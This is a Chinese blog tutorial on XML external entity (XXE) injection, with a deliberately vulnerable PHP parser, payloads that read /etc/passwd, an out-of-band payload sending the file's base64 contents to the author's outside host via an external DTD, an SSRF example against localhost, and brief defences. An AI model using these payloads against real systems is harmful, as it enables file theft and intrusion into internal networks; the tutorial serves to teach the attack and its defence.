XML实体注入漏洞攻与防

@王松_Striker  April 14, 2017

目录

  1. XML基础
  2. XML实体注入漏洞的几种姿势
  3. 防御XML实体注入漏洞

XML基础

XML是一种用于标记电子文件使其具有结构性的标记语言,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML技术基础我在这里将不在详细解读,有兴趣的小伙伴可以通过如下几个链接去学习XML基础:

  • https://www.xml.com/axml/axml.html
  • http://www.w3school.com.cn/xml/index.asp
  • https://www.ibm.com/developerworks/cn/xml/x-newxml/

当然还是建议读者详细阅读以上任意一个文档并实践之后再继续往下看,以免造成知识跨度太大,看不懂或一知半解的情况。

XML实体注入基础

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

简单了解XML以后,我们知道要在XML中使用特殊字符,需要使用实体字符,也可以将一些可能多次会用到的短语(比如公司名称)设置为实体,然后就可以在内容中使用。

如下就声明了一个名为coname值为QiHoo 360的实体。

<!DOCTYPE UserData [ <!ENTITY coname "QiHoo 360" > ]>

要在XML中使用实体,使用&coname;即可。

为了演示漏洞,我们写一个简单的PHP脚本,如下:

<?php

$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);

foreach ($data as $key => $value){
    echo "您的" . translate($key) . "是" . $value . "<br>";
}

function translate($str){
    switch ($str){
        case "name":
            return "名字";
        case "wechat":
            return "微信";
        case "public_wechat":
            return "微信公众号";
        case "website":
            return "网站";
    }
}

假设这里我们希望用户输入的是:

<?xml version="1.0" encoding="utf-8" ?>
<user>
    <name>Striker</name>
    <wechat>strikersb</wechat>
    <public_wechat>sec_fe</public_wechat>
    <website>http://www.hackersb.cn</website>
</user>

然后就可以返回如下页面:

14916775957948.jpg

XML实体注入漏洞的几种姿势

方法1:

<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>

方法2:

<!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.hackersb.cn/attack.dtd"> %d; ]>

其中attack.dtd的内容为:

<!ENTITY b SYSTEM "file:///etc/passwd">

方法3:

<!DOCTYPE a SYSTEM "http://www.hackersb.cn/attack.dtd">

其中attack.dtd内容同上不变。

利用xml实体注入我们可以读取本地任意文件。

读取任意文件的思路大概就是引入一个实体,实体内容为本地文件。

使用我们如上说的任意一种方法即可实现,我这里使用第一个(因为最方便)。

构造payload如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>

提交后查看返回信息:

14916793145428.jpg

可以看到成功读取了/etc/passwd文件。

如果我们实战中所在的场景下XML并没有回显,我们也可以使用另外一种方法读取文件。

<!DOCTYPE a [ 
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %dtd SYSTEM "http://www.hackersb.cn/attack.dtd">
%dtd;
%mydata;
]>

其中attack.dtd的内容为:

<!ENTITY %all
"<!ENTITY &#x25; mydata SYSTEM "http://www.hackersb.cn/?%file">"
>

发送payload以后就可以在http://www.hackersb.cn/的访问日志中看到请求且带上了/etc/passwd文件base64加密以后的内容:

14916798645027.jpg

我们既然可以使用file协议读取本地文件,当然也可以使用http协议访问来造成SSRF攻击,甚至可以使用gopher协议。

具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。

如果PHP支持except模块,我们还可以利用except模块来执行系统命令。

简单的SSRF攻击实例如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>

然后就可以监听到访问了。

14916801785469.jpg

SSRF攻击可以成功的话,我们自然可以进而攻击企业内网的系统。

其他更多的危害各位可以参考OWASP出的文档:

https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

防御XML实体注入漏洞

  • 禁用XML使用外部实体
  • 尽量不要让用户直接提交XML代码,如果一定要,请做好过滤。
 标签: xxe, xml实体注入

已有 4 条评论

  1. [...]XML实体注入漏洞攻与防[...]

  2. 最后一部分,
    “如果PHP支持except协议,我们还可以利用except协议来执行系统命令。”
    这里不是except协议吧,应该是PHP的expect模块吧...

    1. 正解,已经修改。

  3. [...]XML实体注入漏洞攻与防[...]

添加新评论